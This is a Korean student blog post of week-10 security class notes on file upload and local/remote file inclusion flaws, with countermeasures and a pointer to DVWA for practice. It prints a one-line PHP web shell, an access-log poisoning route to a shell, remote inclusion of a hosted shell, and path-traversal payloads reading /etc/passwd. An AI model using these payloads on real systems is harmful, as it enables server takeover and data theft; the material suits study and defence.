Today I Learned …

[수업] 10주차 정리 본문

Study/수업

[수업] 10주차 정리

염베리 2021. 12. 16. 22:08

* 해당 주차의 수업 내용을 정리합니다.


* 해킹 대회 유형

CTF

취약점 찾는 대회(버그바운티)

 

1개 - 1주일

 

* 해킹 실력을 빠르게 올리는 마인드(마음가짐)

→ 겸손/무시X

모의해킹 → 자존심 : 모르는 것을 두려워 함! (모른다고 말하는 것을)

아는 척 → 헛소리 → 문제 발생

→ 모르면 모른다는 것을 인정하고 배우기

 

* File Upload

- 웹 서버 측 실행 코드 업로드

 

webshell.php.jpg

<?php

    system($_GET['cmd']);

?>


* LFI, RFI

RFI(Remote File Include) : 외부 서버 코드 불러와서 인클루드

LFI(Local File Include) : 서버에서 코드 업로드 인클루드 (업로드되어있는 파일을 이용해서 공격)

 

FI (File Inclusion)

> Include (네비바, 프레임 등 웹에서 공통적으로 띄워야하는 부분을 따로 관리하기 위함)

사용자 입력을 받아서 Include → 매우 위험한 발상

include($_GET['url']);

 

- 서버 측 파일 접근 가능

: 개인 정보

: 소스 코드

 

→ 브라우저에서 php를 안보여줘서?

→ 파일을 참조만해서?

→ ...

 

include();

1. 특정 파일을 가져와서 붙여넣어주고

2. 서버 측 코드를 실행해준다. → 그래서 소스 코드가 그대로 보이지 않음!

→ 그럼 어떻게 .php를 볼 수 있을까?

 

* LFI

<?php system($_GET['cmd']); ?>

~.jpg&cmd=ls

LFI 취약점이 있다면, 파일 업로드를 하지 않고도 log를 이용해 쉘을 획득하는 것이 가능하다.

/opt/lampp/logs/access_log

인터넷에 아파치 로그 경로 검색해보거나 phpinfo.php에서 error_log 찾아보면 됨 (같은 경로에 있음)

 

* RFI

위에 다 필요없고 개인서버에 웹쉘.txt 만들어서 normaltic.com/webshell.txt 로드만 시키면 됨...

VPS

 

* 차이점 (발생원인)

파일 업로드 취약점 : file_upload.php

파일 인클루드 취약점 : include()

 

* File Upload의 대응 방안

- 파라미터 난수화

- Include X

- 사용자 파라미터 검증

- 확장자를 강제로 고정 → 실행 차단

 

* 근본적인 대응 방안

1. DB 내 File ID → 파일 업로드 경로 숨겨서 막자!

File ID            path            realName

1                  /upload/       test.jpg

2                                    test.php

fileDownload.php?FileID=1

너무 믿어서 이것저것 다 검증안했다가 SQLi로 경로 노출되면 끝임..

근본적 대응 방안 아님.

 

2. DB File ID 관리 & 실제 저장되는 곳을 웹 경로에서 분리

웹 루트 경로 : /var/www/html

파일 업로드 경로 : /upload/

webshell.php

/upload/webshell.php

normaltic.com/webshell.php

fileName : ../../../var/www/html/webshell.php

/var/www/html/webshell.php

 

3. File을 웹서버에 저장하지말자!

: DB

: NAS


Q. RFI, LFI 어떻게 실습?

File Inclusion → 사용자로부터 입력을 받아서 include

lang=../../../../../../../../etc/passwd%00

관련 기능 안만들었다면 취약점 없음

dvwa에서 실습 가능

'Study > 수업' 카테고리의 다른 글

[수업] 12주차 정리  (0) 2021.12.30
[수업] 11주차 정리  (0) 2021.12.23
[수업] 9주차 정리  (0) 2021.12.09
[수업] 8주차 정리  (0) 2021.12.02
[수업] 7주차 정리  (0) 2021.11.25
프로필사진
berry
FE Developer, loves React & better DX
Comments